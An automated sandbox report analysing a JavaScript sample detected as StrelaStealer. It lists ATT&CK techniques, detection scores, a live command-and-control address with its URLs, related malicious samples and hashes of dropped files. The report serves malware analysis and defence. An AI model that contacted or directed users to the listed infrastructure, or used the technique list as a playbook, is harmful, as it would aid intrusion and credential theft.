Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
26999259552055117101.js	10%	Virustotal		Browse
26999259552055117101.js	11%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label
http://193.143.1.205:8888/temW	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/y	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/-	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/y	net.exe, 00000007.00000002.1362553147.00000185C9844000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000009.00000002.2587247481.000001BD88A00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
https://g.live.com/odclientsettings/Prod-C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1362553147.00000185C9844000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1362553147.00000185C982D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1362553147.00000185C9861000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1362553147.00000185C9808000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/-	net.exe, 00000007.00000002.1362553147.00000185C9844000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1362106950.000001BD88C00000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/temW	net.exe, 00000007.00000002.1362553147.00000185C9808000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588697
Start date and time:	2025-01-11 04:18:46 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	26999259552055117101.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/58@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 18.213.11.84, 34.237.241.83, 54.224.241.105, 50.16.47.176, 184.28.90.27, 23.209.209.135, 199.232.210.172, 2.16.168.105, 2.16.168.107, 23.46.156.29, 23.46.156.52, 23.46.156.40, 23.46.156.39, 23.46.156.41, 23.46.156.6, 23.46.156.42, 23.46.156.47, 23.46.156.16, 13.107.246.45, 172.202.163.200, 173.222.162.55, 23.56.162.204
Excluded domains from analysis (whitelisted): www.bing.com, e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
22:19:42	API Interceptor	22x Sleep call for process: powershell.exe modified
22:19:46	API Interceptor	1x Sleep call for process: net.exe modified
22:19:46	API Interceptor	2x Sleep call for process: svchost.exe modified
22:19:53	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	32139134812378922139.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	42384357676028189.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	696568221068916474.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1528152952987120978.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	24667857242018421.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	13211101981378323787.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	18203107951121827015.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2300831576502014589.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2148023713578731850.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5433178601194710641.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	32139134812378922139.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	42384357676028189.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	696568221068916474.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	18203107951121827015.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	200475024256003612.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	31068282522384212209.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	22951172482589918451.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	12524190021110725310.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2151829461519612017.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1637664207127019.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	32139134812378922139.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	42384357676028189.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3236235451745230764.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	696568221068916474.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1528152952987120978.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	24667857242018421.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2812430594697516427.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22388142366532662.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	13211101981378323787.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18203107951121827015.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8807424051997614
Encrypted:	false
SSDEEP:	1536:0JVRkX56mk0alaS0aHH0anjJ8PUWJ81s5J8RMvCxwtYD0pQoltqNeveEQYQ1aG9x:0J7adfWuK0p/QDfKoPeuP0aN4fqoxu
MD5:	FC0E0E308991E443B774489006465D27
SHA1:	ECCAE79858AE73500B10BD0AE425B656D20F48E2
SHA-256:	818E66963E69501E24F19CC6DCF44CE6BC21BAEF8FBE506491E60392F9111935
SHA-512:	0F24E213DC55B09EEEE1F5CD3A9987A1AF8E59272421D41DE610BF2889973ED8649788133C4AC0AA7C74DC3FEE57E0E125A9D6EF605F0F1659A5967501B4731C
Malicious:	false
Preview:	2.e.........@..@12...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................K<...kS..#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x8549b91e, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7880418577340755
Encrypted:	false
SSDEEP:	1536:vSB2ESB2SSjlK/lv4T9DY1k0aXjJ8VQVYkr3g16iq2UPkLk+kYv/gKr51KrgzAkv:vazaPv4V4fXq2UaB
MD5:	B357BCD6135F294EC123346844AA39D1
SHA1:	6A11326C6692F7FFC3132A8BBC9AA4B03D3485CE
SHA-256:	8EFEEDEC154AFD4BDD13D0791C22CD12A65D4C6C1A4B03FBA15F1B76588B7B9A
SHA-512:	C284306E3881790EF57CC0394A5784A802431F6D5EA2A4AADA26F0AEDB5E5101E3CCA464821B48C995718CBFEFCA7B18087DA91A024E7E8054E4B7B0ABB39E65
Malicious:	false
Preview:	.I..... ...............X\...;...{......................X............{.......}..h...........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......12...{...............................................................................................................................................................................................2...{..................................'n.w.....}.8................).NJ.....}...........................#......h.......................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08131795426346447
Encrypted:	false
SSDEEP:	3:TzyYe8JrH8vEXlVG0+q2Iqe8l570kYGXl/AllNTt/4ll/Q6beV/:TzyzaoSGE8lldYaAHtc6V
MD5:	548B7A851A61A9C275F649A3A55E6EB9
SHA1:	0912ECB2DBCA4C16889FEE6AD04CA7444DC477EB
SHA-256:	DDA270E9CCD5D5759A821D02CF2E7F2D9CAB09352497610BF034FB3E0FA772D5
SHA-512:	911386B07355F06A07418BD2E0CE6E170E0CB20E94FE21D6817ECB8E75BFDACDA6404425F97AC4EB43C7EA9FD4A98D5B118DBA68EB57149A6DB886FDB7E0A38A
Malicious:	false
Preview:	.m.......................................;...{.......}.......{...............{.......{....:......{.................).NJ.....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.20564433199299
Encrypted:	false
SSDEEP:	6:iO4qXNNLyLgyq2PFi2nKuAl9OmbnIFUtSqXNNLz21ZmwsqXNNLgnlRkwOFi2nKui:7M5vdZHAahFUtK1/m5wZHAaSJ
MD5:	ED9FF1EE235278DACF9C7BFDAEA2A950
SHA1:	ED8203369F017693CF04F8667A93779F17A21453
SHA-256:	BC6A569D34AE419FA8BFB6624994AC81063ECB6A26DCC2A7C330780BA592FB13
SHA-512:	67B956B430C5C356FE3CC8CECBD891F159235901E02ED6AFBE013D89B38A4DDB5C82712FE0AA3706D5245E1DAF4217E4DA7D0FB77486CE9E6630BB6166C2BB01
Malicious:	false
Preview:	2025/01/10-22:19:46.209 17e4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-22:19:46.219 17e4 Recovering log #3.2025/01/10-22:19:46.260 17e4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.20564433199299
Encrypted:	false
SSDEEP:	6:iO4qXNNLyLgyq2PFi2nKuAl9OmbnIFUtSqXNNLz21ZmwsqXNNLgnlRkwOFi2nKui:7M5vdZHAahFUtK1/m5wZHAaSJ
MD5:	ED9FF1EE235278DACF9C7BFDAEA2A950
SHA1:	ED8203369F017693CF04F8667A93779F17A21453
SHA-256:	BC6A569D34AE419FA8BFB6624994AC81063ECB6A26DCC2A7C330780BA592FB13
SHA-512:	67B956B430C5C356FE3CC8CECBD891F159235901E02ED6AFBE013D89B38A4DDB5C82712FE0AA3706D5245E1DAF4217E4DA7D0FB77486CE9E6630BB6166C2BB01
Malicious:	false
Preview:	2025/01/10-22:19:46.209 17e4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-22:19:46.219 17e4 Recovering log #3.2025/01/10-22:19:46.260 17e4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.18902148396959
Encrypted:	false
SSDEEP:	6:iO4qXNNL48lyq2PFi2nKuAl9Ombzo2jMGIFUtSqXNNLrI1ZmwsqXNNLZFlRkwOFy:7rlyvdZHAa8uFUtS/zR5wZHAa8RJ
MD5:	B5AA3E0E453BEC6AA482FE395603D68F
SHA1:	3CEFFF86540E857E1CEC9F93BE76F4C3D8DA24DE
SHA-256:	0259DFDCB1C63562403AF9A310FE13D71C8C6B7BD54076ABF170F2342E7857A5
SHA-512:	9A5EADF3BADD57EBEDDBBD56897D1388923C14A68EA57526E677E2CECF6C482FDC61713565E5F124FDEE324F283B16E8AFA1053E64BCD17158BCBF25242A606D
Malicious:	false
Preview:	2025/01/10-22:19:46.328 1e70 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-22:19:46.330 1e70 Recovering log #3.2025/01/10-22:19:46.331 1e70 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.18902148396959
Encrypted:	false
SSDEEP:	6:iO4qXNNL48lyq2PFi2nKuAl9Ombzo2jMGIFUtSqXNNLrI1ZmwsqXNNLZFlRkwOFy:7rlyvdZHAa8uFUtS/zR5wZHAa8RJ
MD5:	B5AA3E0E453BEC6AA482FE395603D68F
SHA1:	3CEFFF86540E857E1CEC9F93BE76F4C3D8DA24DE
SHA-256:	0259DFDCB1C63562403AF9A310FE13D71C8C6B7BD54076ABF170F2342E7857A5
SHA-512:	9A5EADF3BADD57EBEDDBBD56897D1388923C14A68EA57526E677E2CECF6C482FDC61713565E5F124FDEE324F283B16E8AFA1053E64BCD17158BCBF25242A606D
Malicious:	false
Preview:	2025/01/10-22:19:46.328 1e70 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-22:19:46.330 1e70 Recovering log #3.2025/01/10-22:19:46.331 1e70 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Unknown
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.962954078537318
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqIHgxsBdOg2HIZcaq3QYiubpP7E4T3y:Y2sRdsTgidMH53QYhbd7nby
MD5:	6A937A68BF7FB0E5560E96127AFEA0B0
SHA1:	8BC2C45AA2BE23482F674BFC0E70946632EDF870
SHA-256:	EE328185B386C19C79271F539F18ACB23E268C5C78CB133AB667E8554E61D437
SHA-512:	CB25BE74356A4C38D358E871863257F2944B316068866B343D7210BB4F9F6401C5453ABDFEF3C3A6AE274A5A25A6A768769EDD805050076E06BFE1334364E674
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381125597519180","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":115595},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\e9279824-1faf-4096-88f5-f7534e2e0ee5.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Unknown
Category:	modified
Size (bytes):	476
Entropy (8bit):	4.962954078537318
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqIHgxsBdOg2HIZcaq3QYiubpP7E4T3y:Y2sRdsTgidMH53QYhbd7nby
MD5:	6A937A68BF7FB0E5560E96127AFEA0B0
SHA1:	8BC2C45AA2BE23482F674BFC0E70946632EDF870
SHA-256:	EE328185B386C19C79271F539F18ACB23E268C5C78CB133AB667E8554E61D437
SHA-512:	CB25BE74356A4C38D358E871863257F2944B316068866B343D7210BB4F9F6401C5453ABDFEF3C3A6AE274A5A25A6A768769EDD805050076E06BFE1334364E674
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381125597519180","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":115595},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.233149837530976
Encrypted:	false
SSDEEP:	96:wshFT0h7cA4YC2EVPCqY35NEmNOYcGPtqKYSEVs/2LjQ:wshFT0h7cZb2EVKZPEANcGIK5EVs/2LM
MD5:	21D176BE7AF152997573DFC2A031AEC2
SHA1:	2C102D794DBF08C641FF44D6F22E5D157D7815BF
SHA-256:	84C505A2349CB4241FEF91EC9EA1E0A5CF0DB9F57C793D1331CA79B220709657
SHA-512:	16CEE86A9E4067A943739FB30BF6F115D73E7DFD62EA72BA38A03B3ABDD4CB87EB14834AF0AE846427510B50E3A97BC6701AD42848086E9C058AFEBEA299958A
Malicious:	false
Preview:	*...#................version.1..namespace-#..o................next-map-id.1.Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/.0..QRr................next-map-id.2.Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/.2%e.o................next-map-id.4.Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/.3nU..^...............Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/"..C^...............Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/....a...............Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.+;\|a...............Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/....o................next-map-id.5.Pnamespace-10b75d2f_11e7_4fa3_ae23_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.202130998616956
Encrypted:	false
SSDEEP:	6:iO4qXNNLRZS9yq2PFi2nKuAl9OmbzNMxIFUtSqXNNLr21ZmwsqXNNLDRkwOFi2nv:7ZeyvdZHAa8jFUtbQ/RR5wZHAa84J
MD5:	59618F803928356E4674961335CB09D4
SHA1:	8363F0152A65EF29449F76F528956EE17E1350FF
SHA-256:	8AAB3D3685A07854EC6EC8393B30FD4C8193AB9C9AACF435EA206CEDA51721BC
SHA-512:	82ABE5BAB2EC2CD972F2E01DD0290182CD96F5F317EB2D3A57E90E6D22753E011A9024718E1BC8D95894A991335B360193B9210A6D38DC36CC3DA9B99716F93C
Malicious:	false
Preview:	2025/01/10-22:19:46.554 1e70 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-22:19:46.556 1e70 Recovering log #3.2025/01/10-22:19:46.557 1e70 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.202130998616956
Encrypted:	false
SSDEEP:	6:iO4qXNNLRZS9yq2PFi2nKuAl9OmbzNMxIFUtSqXNNLr21ZmwsqXNNLDRkwOFi2nv:7ZeyvdZHAa8jFUtbQ/RR5wZHAa84J
MD5:	59618F803928356E4674961335CB09D4
SHA1:	8363F0152A65EF29449F76F528956EE17E1350FF
SHA-256:	8AAB3D3685A07854EC6EC8393B30FD4C8193AB9C9AACF435EA206CEDA51721BC
SHA-512:	82ABE5BAB2EC2CD972F2E01DD0290182CD96F5F317EB2D3A57E90E6D22753E011A9024718E1BC8D95894A991335B360193B9210A6D38DC36CC3DA9B99716F93C
Malicious:	false
Preview:	2025/01/10-22:19:46.554 1e70 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-22:19:46.556 1e70 Recovering log #3.2025/01/10-22:19:46.557 1e70 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438594885060876
Encrypted:	false
SSDEEP:	384:yejci5G4iBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:0UurVgazUpUTTGt
MD5:	15CE878F713CCF3CB6D461530DF188B7
SHA1:	ECD75396A1B07FF3E4C0D890ABA9CA14D75B9375
SHA-256:	80D7C9781352C1DC772F438B2DDA9D01B88EDB2B3331576D9DD879B33A0B8A5C
SHA-512:	4DAB7988C7DD828551C0741CC6A4267358DAE0FD930BF415E1D67152059412BF100E57FEE400FCB9D3012F0175932A18D42BE49157A2A0A17A070F448C26DA18
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.774896051034362
Encrypted:	false
SSDEEP:	48:7M4p/E2ioyV+Rioy5oWoy1CUoy19aKOioy1noy1AYoy1Wioy1hioybioyDOoy1n7:7Hpju+RJQSXKQyMmb9IVXEBodRBkO
MD5:	8619D906D2AB741F8F84E5D6A80CEFD8
SHA1:	63EAA0B16F93A3E209F549D010320FFCE1871247
SHA-256:	61526F0C46EEBF333557DDD4D1E027B01B5BA6969B1CB755538C75833C54CA08
SHA-512:	62B6E2643932FF0FD5883B9E0FE3946D05018D61B32F1FCE7C962DBB8889CD2C9F8865954E81B075140F4FB418831994AB91A7FE6CFEB16018F1119CA88BA87D
Malicious:	false
Preview:	.... .c.......\................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
